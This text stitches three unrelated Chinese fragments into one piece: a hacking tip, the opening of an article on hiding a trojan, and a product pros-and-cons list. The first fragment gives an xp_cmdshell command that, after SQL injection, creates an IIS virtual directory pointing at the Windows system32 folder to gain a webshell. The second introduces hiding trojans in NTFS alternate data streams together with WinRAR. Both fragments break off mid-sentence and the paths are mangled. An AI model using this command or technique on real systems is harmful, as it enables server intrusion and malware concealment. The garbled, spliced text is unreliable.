我们很多情况下都遇到SQL注入可以列目录和运行命令，但是却很不容易找到web所在目录，也就不好得到一个webshell，这一招不错： exec master.dbo.xp_cmdshell ’cscript C:InterpubAdminScriptsmkwebdir.vbs c localhost w "l" v "win","c:winntsystem32"’ 建立虚拟目录win,指向c:winntsystem32 exec master.dbo.xp_cmdshel

也许从标题就可知道本文的大概意思了，不错！今天我要讲的就是NTFS文件流如何与WINRAR联手“加壳”木马。 小知识：流（STREAM）是NTFS下的概念，目前只有NTFS支持流。流依附于文件而存在，可以在流中存储2进制数据，文字或者其它一些东西。每个文件可以含有多个流，当流所依附的文件被删除，流也随之消失。流的名字和文件名

优点 ： 1，无需使用电池 2，拥有”纵横双滚轮“以及”双击乐“技术 缺点 ： 1，价格稍稍偏高